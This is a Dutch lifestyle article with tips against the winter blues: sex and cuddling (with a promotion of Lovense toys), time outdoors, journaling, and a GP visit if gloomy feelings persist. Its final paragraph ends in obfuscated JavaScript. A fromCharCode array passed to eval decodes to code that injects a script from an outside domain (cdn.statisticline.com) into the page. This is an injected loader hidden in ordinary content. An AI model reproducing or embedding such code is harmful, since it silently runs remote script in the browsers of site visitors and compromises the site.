De winter is voor veel mensen een tijd van gezelligheid. Lekker genieten bij de verwarming, stamppotten eten, snert maken en tijd om samen te zijn. Helaas betekent dat niet dat iedereen even gelukkig wordt in de winter. Sommige mensen ervaren juist een serieuze dip. Een winterdip die – indien niet snel genoeg aangepakt – zelfs kan veranderen in een zware depressie. Niet iedereen wordt gelukkig van de donkere dagen. Klachten als vermoeidheid, lusteloosheid en sombere gevoelen zien we steeds vaker. Dat heeft niet alleen gevolgen voor de mentale-, maar ook de fysieke gezondheid. Gelukkig zijn er een aantal dingen die je kunt doen om van de winterdip af te komen.
Extra gelukshormonen aanmaken
De oorzaak van een winterdip ligt hem vaak in een verminderde aanmaak van vitamine D en andere gelukshormonen. Daarom is het van belang dat je hier zelf voor zorgt. Bijvoorbeeld door dingen te ondernemen waardoor je gelukshormonen aanmaakt. Denk bijvoorbeeld aan sporten, maar ook masturbatie of seks.
Seks heeft een bewezen effect op de mentale- en fysieke gezondheid. Zelfs wanneer je er op dit moment weinig zin in hebt, kan het dan ook van belang zijn om je hier toch toe te zetten. Maak het voor jezelf leuker door het wat interessanter te maken in de slaapkamer. Bijvoorbeeld met de producten van Lovense, zoals de Lovense Lush 3 of de Lovense Max 2 voor mannen. Op die manier ga je weer meer experimenteren en zal je steeds vaker dat ultieme geluksgevoel ervaren.
Liever geen seks? Ook knuffelen draagt bij aan de aanmaak van oxytocine. Dit zogenaamde knuffelhormoon geeft een goed gevoel en kan zelfs lichamelijke pijn verminderen.
Ga meer naar buiten
In de winter heb je misschien weinig zin om naar buiten te gaan. Het is koud, minder mooi weer en de dagen zijn veel korter. Juist hierdoor zit je wellicht ook minder goed in je vel. Daarom is het van belang om juist nú meer naar buiten te gaan. De buitenlucht doet goed. Eventjes uitwaaien of gewoon een stevige wandeling maken en je voelt je direct fitter en gelukkiger. Helemaal wanneer er ook nog eens een waterig zonnetje schijnt. Beweging is alleen maar goed voor je en draagt bij aan de oplossing voor jouw winterdip.
Schrijf je gevoelens op
Merk je dat je steeds minder goed in je vel gaat zitten en misschien zelfs met jezelf in de knoop raakt? Probeer dan een uitlaatklep te vinden om je gevoelens te delen. Bijvoorbeeld door ze op te schrijven in een dagboekje. Schrijf alles lekker van je af, zodat je je beter kunt focussen op andere dingen en je jezelf ‘lichter’ voelt.
Merk je dat de winterdip maar aanhoudt? Zelfs wanneer het voorjaar al is begonnen? Dan bestaat de kans dat deze is omgeslagen tot een heuse depressie. In dat geval is het verstandig om zo spoedig mogelijk contact op te nemen met de huisarts. Deze kan je naar de juiste mensen doorverwijzen en indien nodig medicatie voorschrijven. Het kan ook zeker lonen om je bloed te laten prikken. Soms kunnen ernstige vitaminetekorten ook dat sombere gevoel veroorzaken. Dit is relatief eenvoudig op te lossen door een vitamineboost. var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);
